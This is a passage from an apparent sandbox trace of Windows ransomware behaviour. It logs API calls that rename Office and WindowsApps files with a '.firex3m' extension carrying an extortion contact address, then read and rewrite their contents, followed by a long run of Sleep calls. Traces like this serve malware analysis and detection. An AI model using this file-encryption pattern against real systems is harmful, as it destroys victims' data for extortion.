dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0265.205] CloseHandle (hObject=0x694) returned 1 [0265.205] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.206] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="MCABOUT.HTM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MCABOU~1.FIR")) returned 0x6d5340 [0265.207] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0265.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0265.207] GetProcessHeap () returned 0x630000 [0265.207] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2ce1) returned 0x6d9b18 [0265.207] GetProcessHeap () returned 0x630000 [0265.207] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2ce1) returned 0x707d3c0 [0265.207] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.207] ReadFile (in: hFile=0x694, lpBuffer=0x6d9b18, nNumberOfBytesToRead=0x2cc0, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d9b18*, lpNumberOfBytesRead=0x687ff0c*=0x2cc0, lpOverlapped=0x0) returned 1 [0267.205] GetProcessHeap () returned 0x630000 [0267.205] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0267.205] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.205] WriteFile (in: hFile=0x694, lpBuffer=0x707d3c0*, nNumberOfBytesToWrite=0x2cc0, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707d3c0*, lpNumberOfBytesWritten=0x687ff0c*=0x2cc0, lpOverlapped=0x0) returned 1 [0267.205] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.205] WriteFile (in: hFile=0x694, lpBuffer=0x708007f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x708007f*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0267.205] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.205] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0267.206] CloseHandle (hObject=0x694) returned 1 [0267.206] GetProcessHeap () returned 0x630000 [0267.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707d3c0 | out: hHeap=0x630000) returned 1 [0267.206] GetProcessHeap () returned 0x630000 [0267.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d9b18 | out: hHeap=0x630000) returned 1 [0267.206] GetProcessHeap () returned 0x630000 [0267.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0267.206] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x65378b62, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2ceb, dwReserved0=0x9a87496, dwReserved1=0x6d9b10, cFileName="MCABOUT.HTM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MCABOU~1.FIR")) returned 0x6d4f40 [0267.206] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0267.206] Sleep (dwMilliseconds=0x1) [0269.139] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-100_contrast-white.png", len=0xb2 | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-100_contrast-white.png") returned 1 [0269.139] GetProcessHeap () returned 0x630000 [0269.139] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb0) returned 0x6fe3bb0 [0269.139] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagewidetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.141] Sleep (dwMilliseconds=0x1) [0269.155] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-100_contrast-white.png", len=0xb3 | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-100_contrast-white.png") returned 1 [0269.155] GetProcessHeap () returned 0x630000 [0269.155] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ba4) returned 0x6fe3bb0 [0269.155] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagesmalltile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.157] Sleep (dwMilliseconds=0x1) [0269.170] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-100_contrast-white.png", len=0xb3 | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-100_contrast-white.png") returned 1 [0269.170] GetProcessHeap () returned 0x630000 [0269.170] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b98) returned 0x6fe3bb0 [0269.170] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageBadgeLogo.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackagebadgelogo.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.172] Sleep (dwMilliseconds=0x1) [0269.186] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-100_contrast-black.png", len=0xb6 | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-100_contrast-black.png") returned 1 [0269.186] GetProcessHeap () returned 0x630000 [0269.186] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b8c) returned 0x6fe3bb0 [0269.186] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagesplashscreen.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.188] Sleep (dwMilliseconds=0x1) [0269.202] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-100_contrast-black.png", len=0xb3 | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-100_contrast-black.png") returned 1 [0269.202] GetProcessHeap () returned 0x630000 [0269.202] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b80) returned 0x6fe3bb0 [0269.202] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageLargeTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagelargetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.204] Sleep (dwMilliseconds=0x1) [0269.217] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-100.png", len=0x94 | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-100.png") returned 1 [0269.217] GetProcessHeap () returned 0x630000 [0269.217] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b74) returned 0x6fe3bb0 [0269.217] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagewidetile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.217] Sleep (dwMilliseconds=0x1) [0269.232] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-100.png", len=0x93 | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-100.png") returned 1 [0269.232] GetProcessHeap () returned 0x630000 [0269.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b64) returned 0x6fe3bb0 [0269.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagemedtile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.233] Sleep (dwMilliseconds=0x1) [0269.247] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-100.png", len=0x95 | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-100.png") returned 1 [0269.247] GetProcessHeap () returned 0x630000 [0269.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b60) returned 0x6fe3bb0 [0269.247] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apppackagelargetile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.247] Sleep (dwMilliseconds=0x1) [0269.269] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCB_____.TTF", len=0x45 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCB_____.TTF") returned 1 [0269.269] GetProcessHeap () returned 0x630000 [0269.269] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b4c) returned 0x6fe3bb0 [0269.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCB_____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcb_____.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0269.295] CloseHandle (hObject=0x640) returned 1 [0269.295] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0269.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCB_____.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcb_____.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCB_____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcb_____.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0269.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0269.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCB_____.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a500ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x123a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TCB_____.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TCB___~1.FIR")) returned 0x6d5540 [0269.298] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0269.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCB_____.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcb_____.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0269.298] GetProcessHeap () returned 0x630000 [0269.298] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712f718 [0269.299] GetProcessHeap () returned 0x630000 [0269.299] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x711d230 [0269.299] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.299] ReadFile (in: hFile=0x640, lpBuffer=0x712f718, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712f718*, lpNumberOfBytesRead=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 87 os_tid = 0xe88 [0067.705] Sleep (dwMilliseconds=0x1) [0067.822] Sleep (dwMilliseconds=0x1) [0067.937] Sleep (dwMilliseconds=0x1) [0068.040] Sleep (dwMilliseconds=0x1) [0068.150] Sleep (dwMilliseconds=0x1) [0068.280] Sleep (dwMilliseconds=0x1) [0068.398] Sleep (dwMilliseconds=0x1) [0068.496] Sleep (dwMilliseconds=0x1) [0068.542] Sleep (dwMilliseconds=0x1) [0068.701] Sleep (dwMilliseconds=0x1) [0068.744] Sleep (dwMilliseconds=0x1) [0068.795] Sleep (dwMilliseconds=0x1) [0068.839] Sleep (dwMilliseconds=0x1) [0068.887] Sleep (dwMilliseconds=0x1) [0068.931] Sleep (dwMilliseconds=0x1) [0068.979] Sleep (dwMilliseconds=0x1) [0069.044] Sleep (dwMilliseconds=0x1) [0069.108] Sleep (dwMilliseconds=0x1) [0069.155] Sleep (dwMilliseconds=0x1) [0069.201] Sleep (dwMilliseconds=0x1) [0069.246] Sleep (dwMilliseconds=0x1) [0069.296] Sleep (dwMilliseconds=0x1) [0069.374] Sleep (dwMilliseconds=0x1) [0069.438] Sleep (dwMilliseconds=0x1) [0069.480] Sleep (dwMilliseconds=0x1) [0069.526] Sleep (dwMilliseconds=0x1) [0069.692] Sleep (dwMilliseconds=0x1) [0069.923] Sleep (dwMilliseconds=0x1) [0070.143] Sleep (dwMilliseconds=0x1) [0070.266] Sleep (dwMilliseconds=0x1) [0070.378] Sleep (dwMilliseconds=0x1) [0070.531] Sleep (dwMilliseconds=0x1) [0070.872] Sleep (dwMilliseconds=0x1) [0071.566] Sleep (dwMilliseconds=0x1) [0071.938] Sleep (dwMilliseconds=0x1) [0072.426] Sleep (dwMilliseconds=0x1) [0072.609] Sleep (dwMilliseconds=0x1) [0072.797] Sleep (dwMilliseconds=0x1) [0072.909] Sleep (dwMilliseconds=0x1) [0073.096] Sleep (dwMilliseconds=0x1) [0073.394] Sleep (dwMilliseconds=0x1) [0073.721] Sleep (dwMilliseconds=0x1) [0073.934] Sleep (dwMilliseconds=0x1) [0074.045] Sleep (dwMilliseconds=0x1) [0074.179] Sleep (dwMilliseconds=0x1) [0074.383] Sleep (dwMilliseconds=0x1) [0074.669] Sleep (dwMilliseconds=0x1) [0074.773] Sleep (dwMilliseconds=0x1) [0074.846] Sleep (dwMilliseconds=0x1) [0074.910] Sleep (dwMilliseconds=0x1) [0075.001] Sleep (dwMilliseconds=0x1) [0075.059] Sleep (dwMilliseconds=0x1) [0075.107] Sleep (dwMilliseconds=0x1) [0075.156] Sleep (dwMilliseconds=0x1) [0075.217] Sleep (dwMilliseconds=0x1) [0075.263] Sleep (dwMilliseconds=0x1) [0075.306] Sleep (dwMilliseconds=0x1) [0075.360] Sleep (dwMilliseconds=0x1) [0075.422] Sleep (dwMilliseconds=0x1) [0075.512] Sleep (dwMilliseconds=0x1) [0075.569] Sleep (dwMilliseconds=0x1) [0075.611] Sleep (dwMilliseconds=0x1) [0075.692] Sleep (dwMilliseconds=0x1) [0075.749] Sleep (dwMilliseconds=0x1) [0075.788] Sleep (dwMilliseconds=0x1) [0075.835] Sleep (dwMilliseconds=0x1) [0076.044] Sleep (dwMilliseconds=0x1) [0076.063] Sleep (dwMilliseconds=0x1) [0076.083] Sleep (dwMilliseconds=0x1) [0076.107] Sleep (dwMilliseconds=0x1) [0076.186] Sleep (dwMilliseconds=0x1) [0076.391] Sleep (dwMilliseconds=0x1) [0076.530] Sleep (dwMilliseconds=0x1) [0076.672] Sleep (dwMilliseconds=0x1) [0076.770] Sleep (dwMilliseconds=0x1) [0076.809] Sleep (dwMilliseconds=0x1) [0076.842] Sleep (dwMilliseconds=0x1) [0076.872] Sleep (dwMilliseconds=0x1) [0076.920] Sleep (dwMilliseconds=0x1) [0076.986] Sleep (dwMilliseconds=0x1) [0077.064] Sleep (dwMilliseconds=0x1) [0077.148] Sleep (dwMilliseconds=0x1) [0077.220] Sleep (dwMilliseconds=0x1) [0077.290] Sleep (dwMilliseconds=0x1) [0077.359] Sleep (dwMilliseconds=0x1) [0077.413] Sleep (dwMilliseconds=0x1) [0077.519] Sleep (dwMilliseconds=0x1) [0077.599] Sleep (dwMilliseconds=0x1) [0077.647] Sleep (dwMilliseconds=0x1) [0077.690] Sleep (dwMilliseconds=0x1) [0077.735] Sleep (dwMilliseconds=0x1) [0077.783] Sleep (dwMilliseconds=0x1) [0077.832] Sleep (dwMilliseconds=0x1) [0077.858] Sleep (dwMilliseconds=0x1) [0077.911] Sleep (dwMilliseconds=0x1) [0077.960] Sleep (dwMilliseconds=0x1) [0077.980] Sleep (dwMilliseconds=0x1) [0077.995] Sleep (dwMilliseconds=0x1) [0078.061] Sleep (dwMilliseconds=0x1) [0078.091] Sleep (dwMilliseconds=0x1) [0078.119] Sleep (dwMilliseconds=0x1) [0078.133] Sleep (dwMilliseconds=0x1) [0078.194] Sleep (dwMilliseconds=0x1) [0078.222] Sleep (dwMilliseconds=0x1) [0078.239] Sleep (dwMilliseconds=0x1) [0078.252] Sleep (dwMilliseconds=0x1) [0078.273] Sleep (dwMilliseconds=0x1) [0078.285] Sleep (dwMilliseconds=0x1) [0078.315] Sleep (dwMilliseconds=0x1) [0078.359] Sleep (dwMilliseconds=0x1) [0078.380] Sleep (dwMilliseconds=0x1) [0078.449] Sleep (dwMilliseconds=0x1) [0078.533] Sleep (dwMilliseconds=0x1) [0078.562] Sleep (dwMilliseconds=0x1) [0078.612] Sleep (dwMilliseconds=0x1) [0078.625] Sleep (dwMilliseconds=0x1) [0078.647] Sleep (dwMilliseconds=0x1) [0078.658] Sleep (dwMilliseconds=0x1) [0078.677] Sleep (dwMilliseconds=0x1) [0078.709] Sleep (dwMilliseconds=0x1) [0078.720] Sleep (dwMilliseconds=0x1) [0078.739] Sleep (dwMilliseconds=0x1) [0078.753] Sleep (dwMilliseconds=0x1) [0078.771] Sleep (dwMilliseconds=0x1) [0078.785] Sleep (dwMilliseconds=0x1) [0078.839] Sleep (dwMilliseconds=0x1) [0078.885] Sleep (dwMilliseconds=0x1) [0078.896] Sleep (dwMilliseconds=0x1) [0078.926] Sleep (dwMilliseconds=0x1) [0078.947] Sleep (dwMilliseconds=0x1) [0078.956] Sleep (dwMilliseconds=0x1) [0078.979] Sleep (dwMilliseconds=0x1) [0079.002] Sleep (dwMilliseconds=0x1) [0079.032] Sleep (dwMilliseconds=0x1) [0079.048] Sleep (dwMilliseconds=0x1) [0079.081] Sleep (dwMilliseconds=0x1) [0079.097] Sleep (dwMilliseconds=0x1) [0079.117] Sleep (dwMilliseconds=0x1) [0079.128] Sleep (dwMilliseconds=0x1) [0079.160] Sleep (dwMilliseconds=0x1) [0079.223] Sleep (dwMilliseconds=0x1) [0079.251] Sleep (dwMilliseconds=0x1) [0079.268] Sleep (dwMilliseconds=0x1) [0079.287] Sleep (dwMilliseconds=0x1) [0079.299] Sleep (dwMilliseconds=0x1) [0079.316] Sleep (dwMilliseconds=0x1) [0079.329] Sleep (dwMilliseconds=0x1) [0079.349] Sleep (dwMilliseconds=0x1) [0079.360] Sleep (dwMilliseconds=0x1) [0079.389] Sleep 